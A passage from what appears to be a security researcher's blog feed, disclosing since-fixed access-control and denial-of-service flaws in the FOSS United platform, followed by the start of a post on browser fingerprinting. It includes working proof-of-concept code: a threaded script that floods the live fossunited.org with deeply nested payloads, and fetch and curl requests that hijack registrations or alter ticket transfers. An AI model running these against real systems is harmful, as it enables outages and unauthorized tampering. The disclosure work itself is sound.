      <span class="token literal-property property">organization</span><span class="token operator">:</span> <span class="token string">'Attacker Org'</span><span class="token punctuation">,</span>
      <span class="token literal-property property">git_profile</span><span class="token operator">:</span> <span class="token string">'https://github.com/attacker'</span>
    <span class="token punctuation">}</span>
  <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
  <span class="token literal-property property">credentials</span><span class="token operator">:</span> <span class="token string">'include'</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span>
  <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> r<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
  <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<p>Observed Result:</p>
<pre class="language-json"><code class="language-json"><span class="token punctuation">{</span>
  <span class="token property">"owner"</span><span class="token operator">:</span> <span class="token string">"attacker@example.com"</span><span class="token punctuation">,</span>
  <span class="token property">"user"</span><span class="token operator">:</span> <span class="token string">"victim@example.com"</span><span class="token punctuation">,</span>
  <span class="token property">"email"</span><span class="token operator">:</span> <span class="token string">"victim@example.com"</span><span class="token punctuation">,</span>
  <span class="token property">"full_name"</span><span class="token operator">:</span> <span class="token string">"Fake Registration"</span><span class="token punctuation">,</span>
  <span class="token property">"organization"</span><span class="token operator">:</span> <span class="token string">"Attacker Org"</span><span class="token punctuation">,</span>
  <span class="token property">"hackathon"</span><span class="token operator">:</span> <span class="token string">"1hdcnkbtmk"</span>
<span class="token punctuation">}</span>
</code></pre>
<p>The <code>owner</code> field reflects the attacker’s account, while the <code>user</code> and <code>email</code> fields belong to the victim.</p>
<p>This vulnerability was later fixed by binding registration strictly to <code>frappe.session.user</code> &amp; removing guest access.</p>
<h3 id="resource-exhaustion-via-ast.literal_eval-(dos)" tabindex="-1">Resource Exhaustion via ast.literal_eval (DoS)</h3>
<p>Another issue I came across was a denial-of-service vulnerability in the calendar export functionality. The <code>generate_ics</code> endpoint accepted user-controlled input and parsed it using Python’s <code>ast.literal_eval</code>, which is unsafe when exposed to untrusted data.</p>
<p>Although <code>ast.literal_eval</code> is commonly assumed to be safer than <code>eval</code>, it is still vulnerable to uncontrolled resource consumption. When given deeply nested or malformed input, it can exhaust CPU and memory, eventually crashing the worker or severely degrading performance.</p>
<p>Affected Endpoint: <code>fossunited.api.chapter.generate_ics</code></p>
<p>The vulnerable function looked like this:</p>
<pre class="language-py"><code class="language-py"><span class="token decorator annotation punctuation">@frappe<span class="token punctuation">.</span>whitelist</span><span class="token punctuation">(</span>allow_guest<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">generate_ics</span><span class="token punctuation">(</span>event_ids<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token triple-quoted-string string">"""
    Args:
        event_ids (list): list of event ids (doc.name)
    """</span>
    c <span class="token operator">=</span> Calendar<span class="token punctuation">(</span><span class="token punctuation">)</span>
    ids <span class="token operator">=</span> ast<span class="token punctuation">.</span>literal_eval<span class="token punctuation">(</span>event_ids<span class="token punctuation">)</span>
</code></pre>
<p>The endpoint was publicly accessible (<code>allow_guest=True</code>) and performed no validation on input size or structure. This meant that any unauthenticated user could supply arbitrarily complex input and force the server to parse it.</p>
<p>The core problem is that <code>ast.literal_eval</code> parses Python syntax by recursively building an Abstract Syntax Tree (AST). A payload containing thousands of nested brackets forces the parser to allocate a large number of AST nodes and recurse deeply, consuming excessive CPU and memory. Unlike <code>json.loads</code>, it has no built-in safeguards for limiting recursion depth or input complexity.</p>
<p>This makes it vulnerable to so-called <em>syntax bombs</em> such as:</p>
<pre><code>[[[[[[[[[[[[[[[[[[[[ ... ]]]]]]]]]]]]]]]]]]]
</code></pre>
<p>Even though this input contains no executable code, parsing it alone is enough to cause service disruption.</p>
<p>To demonstrate the impact in a controlled manner, a proof-of-concept script was written that generates deeply nested payloads and sends them concurrently to the vulnerable endpoint while monitoring latency and error rates.</p>
<p>An excerpt from the payload script is shown below:</p>
<pre class="language-py"><code class="language-py"><span class="token comment">#!/usr/bin/env python3</span>
<span class="token triple-quoted-string string">"""
ast.literal_eval Resource Exhaustion
Demonstrates CPU exhaustion via deeply nested structures passed to
ast.literal_eval() in the generate_ics endpoint.
"""</span>

<span class="token keyword">import</span> subprocess
<span class="token keyword">import</span> time
<span class="token keyword">import</span> threading
<span class="token keyword">import</span> concurrent<span class="token punctuation">.</span>futures

<span class="token keyword">def</span> <span class="token function">make_payload</span><span class="token punctuation">(</span>depth<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">return</span> <span class="token string">"["</span> <span class="token operator">*</span> depth <span class="token operator">+</span> <span class="token string">"1"</span> <span class="token operator">+</span> <span class="token string">"]"</span> <span class="token operator">*</span> depth

<span class="token keyword">def</span> <span class="token function">attack</span><span class="token punctuation">(</span>target<span class="token punctuation">,</span> payload<span class="token punctuation">)</span><span class="token punctuation">:</span>
    subprocess<span class="token punctuation">.</span>run<span class="token punctuation">(</span>
        <span class="token punctuation">[</span>
            <span class="token string">"curl"</span><span class="token punctuation">,</span>
            <span class="token string">"-s"</span><span class="token punctuation">,</span>
            <span class="token string">"-X"</span><span class="token punctuation">,</span> <span class="token string">"POST"</span><span class="token punctuation">,</span>
            <span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">{</span>target<span class="token punctuation">}</span></span><span class="token string">/api/method/fossunited.api.chapter.generate_ics"</span></span><span class="token punctuation">,</span>
            <span class="token string">"-H"</span><span class="token punctuation">,</span> <span class="token string">"Content-Type: application/json"</span><span class="token punctuation">,</span>
            <span class="token string">"-d"</span><span class="token punctuation">,</span> <span class="token string-interpolation"><span class="token string">f'{{"event_ids": "</span><span class="token interpolation"><span class="token punctuation">{</span>payload<span class="token punctuation">}</span></span><span class="token string">"}}'</span></span>
        <span class="token punctuation">]</span><span class="token punctuation">,</span>
        stdout<span class="token operator">=</span>subprocess<span class="token punctuation">.</span>DEVNULL<span class="token punctuation">,</span>
        stderr<span class="token operator">=</span>subprocess<span class="token punctuation">.</span>DEVNULL
    <span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">worker</span><span class="token punctuation">(</span>target<span class="token punctuation">,</span> payload<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
        attack<span class="token punctuation">(</span>target<span class="token punctuation">,</span> payload<span class="token punctuation">)</span>

payload <span class="token operator">=</span> make_payload<span class="token punctuation">(</span><span class="token number">12000</span><span class="token punctuation">)</span>
target <span class="token operator">=</span> <span class="token string">"https://fossunited.org"</span>

<span class="token keyword">with</span> concurrent<span class="token punctuation">.</span>futures<span class="token punctuation">.</span>ThreadPoolExecutor<span class="token punctuation">(</span>max_workers<span class="token operator">=</span><span class="token number">50</span><span class="token punctuation">)</span> <span class="token keyword">as</span> pool<span class="token punctuation">:</span>
    <span class="token keyword">for</span> _ <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
        pool<span class="token punctuation">.</span>submit<span class="token punctuation">(</span>worker<span class="token punctuation">,</span> target<span class="token punctuation">,</span> payload<span class="token punctuation">)</span>
</code></pre>
<p>Running the &quot;more aggressive&quot; version of this script resulted in clear service degradation. Latency increased from tens of milliseconds to several seconds &amp; requests began timing out.</p>
<p>This vulnerability maps to CWE-400 (Uncontrolled Resource Consumption). While no data was leaked or modified, the impact was significant enough to cause denial of service.</p>
<p>The endpoint expects a list of event IDs, which is already compatible with JSON. Replacing <code>ast.literal_eval</code> with <code>json.loads</code>, along with enforcing basic size and type validation, removes the recursive parsing behavior and prevents resource exhaustion entirely.</p>
<p>This issue is a good example of how seemingly harmless convenience functions can become serious liabilities when exposed to untrusted input, especially on public endpoints.</p>
<h3 id="unauthorized-project-creation-in-hackathon-teams" tabindex="-1">Unauthorized Project Creation in Hackathon Teams</h3>
<p>Another access control issue I found was related to project creation within hackathon teams. The API endpoint responsible for creating hackathon projects did not verify whether the user creating the project was actually a member of the team.</p>
<p>This meant that any authenticated user could create a project for any team, as long as they knew the team ID.</p>
<p>Affected Endpoint: <code>fossunited.api.hackathon.create_project</code></p>
<p>Before this was fixed, the endpoint trusted the provided <code>team</code> parameter and proceeded with project creation without checking ownership or membership.</p>
<p>The vulnerable function looked like this:</p>
<pre class="language-py"><code class="language-py"><span class="token decorator annotation punctuation">@frappe<span class="token punctuation">.</span>whitelist</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">create_project</span><span class="token punctuation">(</span>hackathon<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> team<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> project<span class="token punctuation">:</span> <span class="token builtin">dict</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">dict</span><span class="token punctuation">:</span>
    project_doc <span class="token operator">=</span> frappe<span class="token punctuation">.</span>get_doc<span class="token punctuation">(</span>
        <span class="token punctuation">{</span>
            <span class="token string">"doctype"</span><span class="token punctuation">:</span> HACKATHON_PROJECT<span class="token punctuation">,</span>
            <span class="token string">"hackathon"</span><span class="token punctuation">:</span> hackathon<span class="token punctuation">,</span>
            <span class="token string">"team"</span><span class="token punctuation">:</span> team<span class="token punctuation">,</span>
            <span class="token string">"title"</span><span class="token punctuation">:</span> project<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"title"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"short_description"</span><span class="token punctuation">:</span> project<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"short_description"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"description"</span><span class="token punctuation">:</span> project<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"description"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"repo_link"</span><span class="token punctuation">:</span> project<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"repo_link"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"demo_link"</span><span class="token punctuation">:</span> project<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"demo_link"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">)</span>
    project_doc<span class="token punctuation">.</span>insert<span class="token punctuation">(</span>ignore_permissions<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
    <span class="token keyword">return</span> project_doc
</code></pre>
<p>The core issue was the absence of any authorization checks.<br>
The endpoint never verified that the currently logged-in user (<code>frappe.session.user</code>) was:</p>
<ul>
<li>A member of the team</li>
<li>Associated with the team’s participant list</li>
<li>Authorized to act on behalf of that team</li>
</ul>
<p>As a result, an attacker could create projects for arbitrary teams &amp; tamper with hackathon submissions.</p>
<p>PoC Code:</p>
<pre class="language-js"><code class="language-js"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/method/fossunited.api.hackathon.create_project"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span>
    <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">"POST"</span><span class="token punctuation">,</span>
    <span class="token literal-property property">headers</span><span class="token operator">:</span> <span class="token punctuation">{</span>
        <span class="token string-property property">"Content-Type"</span><span class="token operator">:</span> <span class="token string">"application/json"</span><span class="token punctuation">,</span>
        <span class="token string-property property">"X-Frappe-CSRF-Token"</span><span class="token operator">:</span> window<span class="token punctuation">.</span>csrf_token
    <span class="token punctuation">}</span><span class="token punctuation">,</span>
    <span class="token literal-property property">body</span><span class="token operator">:</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
        <span class="token literal-property property">hackathon</span><span class="token operator">:</span> <span class="token string">"1hdcnkbtmk"</span><span class="token punctuation">,</span>
        <span class="token literal-property property">team</span><span class="token operator">:</span> <span class="token string">"9i83d7bf4i"</span><span class="token punctuation">,</span>
        <span class="token literal-property property">project</span><span class="token operator">:</span> <span class="token punctuation">{</span>
            <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Unauthorized Project Creation PoC"</span><span class="token punctuation">,</span>
            <span class="token literal-property property">short_description</span><span class="token operator">:</span> <span class="token string">"Test"</span><span class="token punctuation">,</span>
            <span class="token literal-property property">description</span><span class="token operator">:</span> <span class="token string">"Unauthorized project creation"</span><span class="token punctuation">,</span>
            <span class="token literal-property property">repo_link</span><span class="token operator">:</span> <span class="token string">"https://github.com"</span><span class="token punctuation">,</span>
            <span class="token literal-property property">demo_link</span><span class="token operator">:</span> <span class="token string">"https://example.com"</span><span class="token punctuation">,</span>
            <span class="token literal-property property">is_contribution_project</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span>
            <span class="token literal-property property">is_partner_project</span><span class="token operator">:</span> <span class="token number">0</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span><span class="token punctuation">)</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> r<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<p>This issue was fixed by enforcing a strict team membership check before allowing project creation.</p>
<p>The <a href="https://github.com/fossunited/fossunited/pull/1401">patched version</a> now explicitly verifies that the session user belongs to the specified team, either directly via email or through the participant record, and rejects unauthorized attempts.</p>
<p>The fixed logic looks like this:</p>
<pre class="language-py"><code class="language-py"><span class="token decorator annotation punctuation">@frappe<span class="token punctuation">.</span>whitelist</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token decorator annotation punctuation">@frappe<span class="token punctuation">.</span>rate_limiter<span class="token punctuation">.</span>rate_limit</span><span class="token punctuation">(</span>limit<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> seconds<span class="token operator">=</span><span class="token number">60</span> <span class="token operator">*</span> <span class="token number">60</span> <span class="token operator">*</span> <span class="token number">12</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">create_project</span><span class="token punctuation">(</span>hackathon<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> team<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> project<span class="token punctuation">:</span> <span class="token builtin">dict</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">dict</span><span class="token punctuation">:</span>
    team_doc <span class="token operator">=</span> frappe<span class="token punctuation">.</span>get_doc<span class="token punctuation">(</span>HACKATHON_TEAM<span class="token punctuation">,</span> team<span class="token punctuation">)</span>

    is_member <span class="token operator">=</span> <span class="token boolean">False</span>
    user_email <span class="token operator">=</span> frappe<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user

    <span class="token keyword">for</span> member <span class="token keyword">in</span> team_doc<span class="token punctuation">.</span>members<span class="token punctuation">:</span>
        <span class="token keyword">if</span> member<span class="token punctuation">.</span>email <span class="token operator">==</span> user_email<span class="token punctuation">:</span>
            is_member <span class="token operator">=</span> <span class="token boolean">True</span>
            <span class="token keyword">break</span>

        <span class="token keyword">if</span> member<span class="token punctuation">.</span>member<span class="token punctuation">:</span>
            participant_email <span class="token operator">=</span> frappe<span class="token punctuation">.</span>db<span class="token punctuation">.</span>get_value<span class="token punctuation">(</span>
                HACKATHON_PARTICIPANT<span class="token punctuation">,</span>
                member<span class="token punctuation">.</span>member<span class="token punctuation">,</span>
                <span class="token string">"user"</span><span class="token punctuation">,</span>
            <span class="token punctuation">)</span>
            <span class="token keyword">if</span> participant_email <span class="token operator">==</span> user_email<span class="token punctuation">:</span>
                is_member <span class="token operator">=</span> <span class="token boolean">True</span>
                <span class="token keyword">break</span>

    <span class="token keyword">if</span> <span class="token keyword">not</span> is_member<span class="token punctuation">:</span>
        frappe<span class="token punctuation">.</span>throw<span class="token punctuation">(</span>
            <span class="token string">"You are not authorized to create a project for this team"</span><span class="token punctuation">,</span>
            frappe<span class="token punctuation">.</span>PermissionError<span class="token punctuation">,</span>
        <span class="token punctuation">)</span>

    project_doc <span class="token operator">=</span> frappe<span class="token punctuation">.</span>get_doc<span class="token punctuation">(</span>
        <span class="token punctuation">{</span>
            <span class="token string">"doctype"</span><span class="token punctuation">:</span> HACKATHON_PROJECT<span class="token punctuation">,</span>
            <span class="token string">"hackathon"</span><span class="token punctuation">:</span> hackathon<span class="token punctuation">,</span>
            <span class="token string">"team"</span><span class="token punctuation">:</span> team<span class="token punctuation">,</span>
            <span class="token string">"title"</span><span class="token punctuation">:</span> project<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"title"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token comment"># ...</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">)</span>
    project_doc<span class="token punctuation">.</span>insert<span class="token punctuation">(</span>ignore_permissions<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
    <span class="token keyword">return</span> project_doc
</code></pre>
<p>A rate limit was also added to reduce the risk of abuse.</p>
<p>With this fix in place, only legitimate team members can create projects for their teams, and unauthorized project creation attempts are correctly blocked.</p>
<h3 id="idor-in-ticket-transfer-status-change" tabindex="-1">IDOR in Ticket Transfer Status Change</h3>
<p>The last issue I identified was an insecure direct object reference (IDOR) in the ticket transfer workflow. The API endpoint responsible for updating the status of ticket transfer requests allowed unauthenticated users to modify the state of any transfer.</p>
<p>This issue was identified through static code analysis. At the time of testing, there were no active events with transferable tickets, so dynamic exploitation was not possible. However, the authorization flaw is clear from the code and would be exploitable once transfers are active.</p>
<p>Affected Endpoint: <code>fossunited.api.tickets.change_transfer_status</code></p>
<p>The vulnerable function looked like this:</p>
<pre class="language-py"><code class="language-py"><span class="token decorator annotation punctuation">@frappe<span class="token punctuation">.</span>whitelist</span><span class="token punctuation">(</span>allow_guest<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">change_transfer_status</span><span class="token punctuation">(</span>transfer_id<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> status<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    doc <span class="token operator">=</span> frappe<span class="token punctuation">.</span>get_doc<span class="token punctuation">(</span>TICKET_TRANSFER<span class="token punctuation">,</span> transfer_id<span class="token punctuation">)</span>
    doc<span class="token punctuation">.</span>status <span class="token operator">=</span> status
    doc<span class="token punctuation">.</span>save<span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token keyword">return</span> <span class="token boolean">True</span>
</code></pre>
<p>The endpoint was explicitly marked as guest-accessible and performed no ownership or authorization checks before updating the transfer record.</p>
<p>The core issue here is that the endpoint blindly trusts a user-supplied <code>transfer_id</code>.</p>
<p>It never verifies:</p>
<ul>
<li>Who is calling the endpoint (<code>frappe.session.user</code>)</li>
<li>Whether the caller is the original ticket owner</li>
<li>Whether the caller is the intended recipient of the transfer</li>
<li>Whether the caller is authenticated at all</li>
</ul>
<p>As long as a valid <code>transfer_id</code> is provided, the backend updates the transfer status immediately.</p>
<p>This means that an attacker could theoretically approve, reject, or cancel ticket transfers belonging to other users simply by guessing or obtaining a valid transfer ID.</p>
<p>A minimal request would look like this:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-X</span> POST <span class="token string">"https://fossunited.org/api/method/fossunited.api.tickets.change_transfer_status"</span> <span class="token punctuation">\</span>
  <span class="token parameter variable">-H</span> <span class="token string">"Content-Type: application/json"</span> <span class="token punctuation">\</span>
  <span class="token parameter variable">-d</span> <span class="token string">'{
    "transfer_id": "TICKET-TRANSFER-00001",
    "status": "Completed"
  }'</span>
</code></pre>
<p>Because there is no ownership validation, the request would succeed regardless of who sent it.</p>
<p>The potential impact includes unauthorized approval/cancellation of ticket transfers and disruption of ticket ownership workflows. Even though this issue was not observed live due to inactive events, the severity of the logic flaw places it in the critical category.</p>
<p>The fix for this issue is straightforward. The endpoint should require authentication and ensure that the logged-in user is directly involved in the transfer before allowing any status change.</p>
<p>A secure implementation would verify that <code>frappe.session.user</code> matches either the original ticket holder or the designated receiver, and restrict the allowed status transitions:</p>
<pre class="language-py"><code class="language-py"><span class="token decorator annotation punctuation">@frappe<span class="token punctuation">.</span>whitelist</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">change_transfer_status</span><span class="token punctuation">(</span>transfer_id<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> status<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    doc <span class="token operator">=</span> frappe<span class="token punctuation">.</span>get_doc<span class="token punctuation">(</span>TICKET_TRANSFER<span class="token punctuation">,</span> transfer_id<span class="token punctuation">)</span>
    ticket <span class="token operator">=</span> frappe<span class="token punctuation">.</span>get_doc<span class="token punctuation">(</span>EVENT_TICKET<span class="token punctuation">,</span> doc<span class="token punctuation">.</span>ticket<span class="token punctuation">)</span>

    current_user <span class="token operator">=</span> frappe<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user
    <span class="token keyword">if</span> current_user <span class="token keyword">not</span> <span class="token keyword">in</span> <span class="token punctuation">[</span>ticket<span class="token punctuation">.</span>email<span class="token punctuation">,</span> doc<span class="token punctuation">.</span>receiver_email<span class="token punctuation">]</span><span class="token punctuation">:</span>
        frappe<span class="token punctuation">.</span>throw<span class="token punctuation">(</span><span class="token string">"Unauthorized to modify this transfer"</span><span class="token punctuation">,</span> frappe<span class="token punctuation">.</span>PermissionError<span class="token punctuation">)</span>

    <span class="token keyword">if</span> status <span class="token keyword">not</span> <span class="token keyword">in</span> <span class="token punctuation">[</span><span class="token string">"Completed"</span><span class="token punctuation">,</span> <span class="token string">"Cancelled"</span><span class="token punctuation">]</span><span class="token punctuation">:</span>
        frappe<span class="token punctuation">.</span>throw<span class="token punctuation">(</span><span class="token string">"Invalid status"</span><span class="token punctuation">)</span>

    doc<span class="token punctuation">.</span>status <span class="token operator">=</span> status
    doc<span class="token punctuation">.</span>save<span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token keyword">return</span> <span class="token boolean">True</span>
</code></pre>
<p>This issue reinforces a recurring theme across multiple findings in this assessment: object existence checks are not authorization checks. Any endpoint that modifies state must validate <em>who</em> is performing the action, not just <em>what</em> object is being acted on.</p>
<h3 id="closing-note" tabindex="-1">Closing note</h3>
<p>I want to thank the FOSS United team for acknowledging these security issues and patching them quickly. The prompt response and open communication made responsible disclosure smooth and encouraging.</p>
<p>Thanks to my friend <a href="https://github.com/kewonit">Kartik</a> for helping me with testing &amp; validating findings.</p>
<p>Security issues are inevitable as platforms grow. What matters is how they’re handled once found - and in this case, it was handled well.</p>

    ]]></content>
  </entry>
  <entry>
    <title>Browser Fingerprinting &amp; Building Quark</title>
    <link href="https://ni5arga.com/blog/posts/browser-fingerprinting/"/>
    <updated>2026-01-25T00:00:00.000Z</updated>
    <id>https://ni5arga.com/blog/posts/browser-fingerprinting/</id>
    <content type="html"><![CDATA[
      <p>Most people assume clearing cookies or using incognito mode makes them anonymous. It does not. Modern websites can still recognize you using browser fingerprinting.</p>
<p>This post explains how browser fingerprinting works and how I built <a href="https://github.com/ni5arga/quark">Quark</a> to understand it from the inside.</p>
<h2 id="what-is-browser-fingerprinting%3F" tabindex="-1">What is Browser Fingerprinting?</h2>
<p>Browser fingerprinting identifies a browser by collecting information it already exposes. Nothing is stored on the device. Instead, multiple characteristics are combined into a stable identifier.</p>
<p>Unlike cookies, this identifier can persist across sessions and private windows.</p>
<h2 id="what-data-is-used%3F" tabindex="-1">What data is used?</h2>
<p>Fingerprinting relies on many small signals that seem harmless on their own.</p>
<p>Basic signals include the user agent, operating system, language, timezone, screen resolution, and color depth.</p>
<p>More advanced signals come from JavaScript APIs. Websites can check which fonts are available, how the browser handles certain CSS rules, or how numbers are processed internally.</p>
<p>Canvas and WebGL fingerprinting are especially effective. The browser is asked to draw something off-screen. The result depends on the OS, GPU, drivers, font rendering, and browser implementation. The differences are subtle but consistent.</p>
<p>Audio fingerprinting works in a similar way. Small differences in how audio is processed can be measured and added to the fingerprint.</p>
<p>Individually, these values are weak. Together, they are often enough to uniquely identify a browser.</p>
<h2 id="basic-fingerprint-signals" tabindex="-1">Basic fingerprint signals</h2>
<p>The simplest signals come directly from browser APIs.</p>
<pre class="language-js"><code class="language-js"><span class="token keyword">const</span> fingerprintBase <span class="token operator">=</span> <span class="token punctuation">{</span>
  <span class="token literal-property property">userAgent</span><span class="token operator">:</span> navigator<span class="token punctuation">.</span>userAgent<span class="token punctuation">,</span>
  <span class="token literal-property property">language</span><span class="token operator">:</span> navigator<span class="token punctuation">.</span>language<span class="token punctuation">,</span>
  <span class="token literal-property property">platform</span><span class="token operator">:</span> navigator<span class="token punctuation">.</span>platform<span class="token punctuation">,</span>
  <span class="token literal-property property">timezone</span><span class="token operator">:</span> Intl<span class="token punctuation">.</span><span class="token function">DateTimeFormat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">resolvedOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>timeZone
<span class="token punctuation">}</span><span class="token punctuation">;</span>
</code></pre>
<p>On their own, these values are common. Combined with other signals, they become more useful.</p>
<h2 id="screen-and-display-data" tabindex="-1">Screen and display data</h2>
<p>Screen characteristics add another layer of entropy.</p>
<pre class="language-js"><code class="language-js"><span class="token keyword">const</span> screenData <span class="token operator">=</span> <span class="token punctuation">{</span>
  <span class="token literal-property property">width</span><span class="token operator">:</span> screen<span class="token punctuation">.</span>width<span class="token punctuation">,</span>
  <span class="token literal-property property">height</span><span class="token operator">:</span> screen<span class="token punctuation">.</span>height<span class="token punctuation">,</span>
  <span class="token literal-property property">colorDepth</span><span class="token operator">:</span> screen<span class="token punctuation">.</span>colorDepth<span class="token punctuation">,</span>
  <span class="token literal-property property">pixelRatio</span><span class="token operator">:</span> window<span class="token punctuation">.</span>devicePixelRatio
<span class="token punctuation">}</span><span class="token punctuation">;</span>
</code></pre>
<p>Different devices and display setups produce consistent but distinct results.</p>
<h2 id="canvas-fingerprinting" tabindex="-1">Canvas fingerprinting</h2>
<p>Canvas fingerprinting relies on rendering differences between systems.</p>
<pre class="language-js"><code class="language-js"><span class="token keyword">const</span> canvas <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"canvas"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">const</span> ctx <span class="token operator">=</span> canvas<span class="token punctuation">.</span><span class="token function">getContext</span><span class="token punctuation">(</span><span class="token string">"2d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

ctx<span class="token punctuation">.</span>textBaseline <span class="token operator">=</span> <span class="token string">"top"</span><span class="token punctuation">;</span>
ctx<span class="token punctuation">.</span>font <span class="token operator">=</span> <span class="token string">"16px Arial"</span><span class="token punctuation">;</span>
ctx<span class="token punctuation">.</span>fillStyle <span class="token operator">=</span> <span class="token string">"#000"</span><span class="token punctuation">;</span>
ctx<span class="token punctuation">.</span><span class="token function">fillText</span><span class="token punctuation">(</span><span class="token string">"quark fingerprint"</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token keyword">const</span> canvasFingerprint <span class="token operator">=</span> canvas<span class="token punctuation">.</span><span class="token function">toDataURL</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<p>The output looks the same visually, but the encoded image data differs across operating systems, GPUs, and font renderers.</p>
<h2 id="building-quark" tabindex="-1">Building Quark</h2>
<p>I built <strong>Quark</strong> to explore this process end to end with minimal abstraction.</p>
<p>Repository: <a href="https://github.com/ni5arga/quark">https://github.com/ni5arga/quark</a></p>
<p>The goal was clarity. Every signal collected should be readable and understandable.</p>
<h2 id="combining-signals" tabindex="-1">Combining signals</h2>
<p>Quark normalizes all collected values into a single string.</p>
<pre class="language-js"><code class="language-js"><span class="token keyword">const</span> rawFingerprint <span class="token operator">=</span> <span class="token punctuation">[</span>
  navigator<span class="token punctuation">.</span>userAgent<span class="token punctuation">,</span>
  navigator<span class="token punctuation">.</span>language<span class="token punctuation">,</span>
  screen<span class="token punctuation">.</span>width<span class="token punctuation">,</span>
  screen<span class="token punctuation">.</span>height<span class="token punctuation">,</span>
  canvasFingerprint
<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">"|"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<p>This string represents the browser’s fingerprint input.</p>
<h2 id="hashing-the-fingerprint" tabindex="-1">Hashing the fingerprint</h2>
<p>Instead of storing raw data, Quark hashes the combined string.</p>
